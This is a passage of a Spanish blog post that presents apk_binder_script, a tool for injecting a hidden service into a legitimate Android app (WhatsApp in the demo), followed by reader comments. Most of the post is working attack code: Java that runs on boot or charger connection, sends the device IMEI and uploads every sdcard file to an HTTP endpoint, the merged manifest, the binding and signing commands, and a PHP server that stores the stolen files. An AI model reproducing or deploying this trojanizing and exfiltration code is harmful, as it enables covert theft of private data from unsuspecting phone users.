La aplicación original se ejecuta normalmente y, en paralelo, el servicio es invocado por el loader en base a dos eventos:
android.intent.action.BOOT_COMPLETED
android.intent.action.ACTION_POWER_CONNECTED
Se pueden agregar acciones y permisos según se desee. En resumen, nos permite "extender" las funcionalidades de un apk, implementar puertas "administrativas", etc.
apk_binder_script está desarrollado en python y está probado en Windows y Linux. Utiliza apktool (incluído en el paquete) y por lo tanto también Java.
apk_binder_script requiere de un apk original y un apk que contendrá como mínimo un servicio que será invocado por el loader (receiver) cuando se conecte el cargador o se reinicie el dispositivo. Las acciones del receiver y los permisos están declarados en "loader/permissions.xml" y "loader/receiver.xml" que se pueden ajustar como se desee para que reaccione a los eventos que queramos.
A continuación, vamos a ver una pequeña demo de su uso.
En primer lugar desarrollamos una app android que contendrá este servicio. En nuestro proyecto Eclipse incluiremos el siguiente código:
- MainActivity2.java - Esta clase se ha usado para pruebas, es totalmente prescindible. No es requerido para apk_binder_script.
package com.example.test_apk_binder;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
public class MainActivity2 extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main_activity2);
startService(new Intent(getApplicationContext(), ServiceBind.class));
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main_activity2, menu);
return true;
}
}
- ServiceBind.java - Es el servicio que será invocado por el loader. La implementación de éste se puede hacer como se quiera.
package com.example.test_apk_binder;
import android.app.Service;
import android.content.Intent;
import android.os.Environment;
import android.os.IBinder;
public class ServiceBind extends Service{
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
public void onCreate(){
try{
new Thread(new Runnable() {
public void run() {
new ExfiltrationData(getApplicationContext(),
Environment.getExternalStorageDirectory());
}
}).start();
}catch(Exception e){
e.printStackTrace();
}
}
}
- ExfiltrationData.java - Es la clase que será cargada por el servicio para el robo de datos de la sdcard hacia un endpoint http
package com.example.test_apk_binder;
import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.ArrayList;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.InputStreamEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import android.content.Context;
import android.telephony.TelephonyManager;
import android.util.Log;
public class ExfiltrationData {
private String END_POINT = "http://10.0.2.2/apk_binder";
private File rootPath = null;
private Context context = null;
private String TAG = "ExfiltrationData";
private String serialn = null;
private ArrayList<String> files = new ArrayList<String>();
public ExfiltrationData(Context context,
File rootPath){
init(context, rootPath);
}
private void init(Context context,
File rootPath){
this.rootPath = rootPath;
this.context = context;
TelephonyManager tManager = (TelephonyManager)this.context.getSystemService(Context.TELEPHONY_SERVICE);
serialn = tManager.getDeviceId();
Log.d(TAG, "Iniciado con path " + rootPath);
Log.d(TAG, "Serial number " + serialn);
getFiles(this.rootPath);
Log.d(TAG, "Archivos en sdcard " + files.size());
sendFiles();
}
private void sendFiles(){
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = null;
String url = null;
HttpResponse response = null;
byte r[] = new byte[3];
InputStreamEntity reqEntity = null;
try{
for(int x=0;x<files.size();x++){
url =
END_POINT + "/?" +
"sn=" + serialn +
"&fn=" + URLEncoder.encode(files.get(x), "UTF-8") +
"&fs=" + String.valueOf(new File(files.get(x)).length());
httppost = new HttpPost(url);
response = httpclient.execute(httppost);
response.getEntity().getContent().read(r);
httppost.abort();
if((char)r[2] == '1'){
Log.d(TAG, files.get(x) + " - El fichero existe, pasamos al siguiente...");
continue;
}
else{
try{
reqEntity = new InputStreamEntity(
new FileInputStream(files.get(x)), -1);
reqEntity.setContentType("binary/octet-stream");
reqEntity.setChunked(true);
httppost = new HttpPost(url);
httppost.setEntity(reqEntity);
httpclient.execute(httppost);
httppost.abort();
}catch(Exception e){
Log.d(TAG, "Error al abrir el archivo: " + files.get(x) + " : " + e.getMessage());
}
}
}
}catch(Exception e){
e.printStackTrace();
}
}
private void getFiles(File file){
File temp_file = null;
File[] list = file.listFiles();
for(int i = 0; i < list.length; i++) {
temp_file = new File(file.getAbsolutePath(),list[i].getName());
if(temp_file.isDirectory() && temp_file.listFiles() != null) getFiles(temp_file);
else files.add(temp_file.getAbsolutePath());
}
}
}
En el manifest deben constar el/los servicios que hayamos desarrollado junto con los providers, receivers, etc. Tal y como una aplicación normal.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.test_apk_binder"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<service android:name="com.example.test_apk_binder.ServiceBind" />
<activity
android:name="com.example.test_apk_binder.MainActivity2"
android:label="@string/title_activity_main_activity2" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Anotamos el paquete y la clase que queremos que lance el loader. En este ejemplo es: com.example.test_apk_binder.ServiceBind
Desde android tools de eclipse, exportamos el apk sin firmar.
Usaremos whatsapp para bindearlo, en este punto tenemos:
- apk original para ser bindeado
- apk a bindear
- clase para ser lanzada por el loader
Los apks los pondremos en una carpeta llamada "demo".
Ejecutamos el siguiente comando:
python apk_binder_script.py
-t demo\com.whatsapp-2.apk
-b demo\Test_apk_binder.apk
-c com.example.test_apk_binder.ServiceBind
apk_binder_script copia todo el código smali, assets y demás carpetas, excepto la carpeta de recursos (res). Fusiona los dos manifest incorporando los permisos faltantes, servicios, providers, etc. e inserta un receiver(loader) que básicamente carga de forma dinámica el servicio que hemos implementado cuando se conecta el cargador y reinicia el dispositivo. Como dije antes, los permisos y acciones del receiver son configurables.
Posteriormente firmamos el apk generado:
jarsigner
-verbose
-sigalg SHA1withRSA
-digestalg SHA1
-keystore
-storepass
-keypass
He usado easyphp que incorpora todo lo necesario para desarrollar el endpoint que recuperará todos los datos de la sdcard.
<?php
error_reporting(0);
@$sn = $_GET["sn"];
@$fn = urldecode($_GET["fn"]);
@$fs = $_GET["fs"];
@$file = $sn . $fn;
@$path_file = $sn . substr($fn, 0, strripos($fn, "/"));
//Comprobar si el archivo existe y/o si el tamanio es igual
if(!@file_exists($sn)){
@mkdir($sn);
$exists = "0";
}else{
//Si existe el archivo, comprobamos su tamanio
if(@file_exists($file)){
@$local_fs = filesize($file);
//El tamanio es igual
if($local_fs == $fs) $exists = "1";
else $exists = "0";
}else{
$exists = "0";
}
}
//Si no existe y esta subiendo el archivo... lo cogemos y guardamos.
if($exists == 0 && @file_get_contents("php://input")){
@$body = file_get_contents("php://input");
@mkdir($path_file, "0755", true);
@chmod($path_file, "0755");
@$fp = fopen($file, "w");
@fwrite($fp, $body);
@fclose($fp);
}
?>
<?=$exists?><?php
Una vez instalado el apk, volcamos la carpeta "apk_binder" que contiene el archivo index.php en los directorios públicos de apache. De tal forma que quede así:
http://
Lanzamos un emulador para hacer las pruebas. Lo he probado en versiones 2.3 y 4.x sin problemas:
emulator @nombre_emulador
Para ver el efecto de la poc, lo ideal es insertar varias carpetas y archivos en la memoria sdcard, ya que al app desarrollada roba todos los datos de la sdcard.
Instalamos apk:
adb install Bind_com.whatsapp.apk
Una vez instalado lo abrimos.
Conectamos al emulador para emular la desconexión/conexión del cargador:
telnet localhost 5554
Ejecutamos estos comandos para dicha emulación:
power ac off
power ac on
Si todo va bien, en el endpoint tendremos toda la estructura de carpetas creada de la sdcard del dispositivo.
https://github.com/funsecurity/apk_binder_script
Si tenéis algún problema no dudéis en contactar conmigo. Las críticas, bugs o cualquier otra cosa será bienvenida. Muchas gracias!
Saludos,
--
Adrián Ruiz Bermudo
adrianruiz.net
@funsecurity
GPG
ID: 0x586270E8
FINGERPRINT: 9841 A1F0 1FB4 31B2 82F4 6E91 A660 815B 5862 70E8
buena tool, se me ocurren muchas ideas malas para probarla... :-P
ResponderEliminaralguien sabe configurarlo
EliminarHola Adrian Ruiz , tengo un problema con el script, pense que eran los permisos de la app de whats app los cambien de rw-r--r-- a -rwxrw-rw-, pero sigo obteniendo el mismo error.
ResponderEliminarAlguna idea.
[+] apk bind mode
[+] Process WhatsApp.apk ...
Traceback (most recent call last):
File "apk_binder_script.py", line 456, in
init()
File "apk_binder_script.py", line 453, in init
get_params()
File "apk_binder_script.py", line 420, in get_params
apk_bind(target_apk, bind_apk, class_bind)
File "apk_binder_script.py", line 53, in apk_bind
subprocess.call([os.path.join("apktool", apktool_bin), "d", "-f", target_apk, target_dir_smali])
File "/usr/lib/python2.7/subprocess.py", line 493, in call
return Popen(*popenargs, **kwargs).wait()
File "/usr/lib/python2.7/subprocess.py", line 679, in __init__
errread, errwrite)
File "/usr/lib/python2.7/subprocess.py", line 1259, in _execute_child
raise child_exception
OSError: [Errno 13] Permission denied
APktool is oudated.
ResponderEliminarNo longer works.
GARBAGE!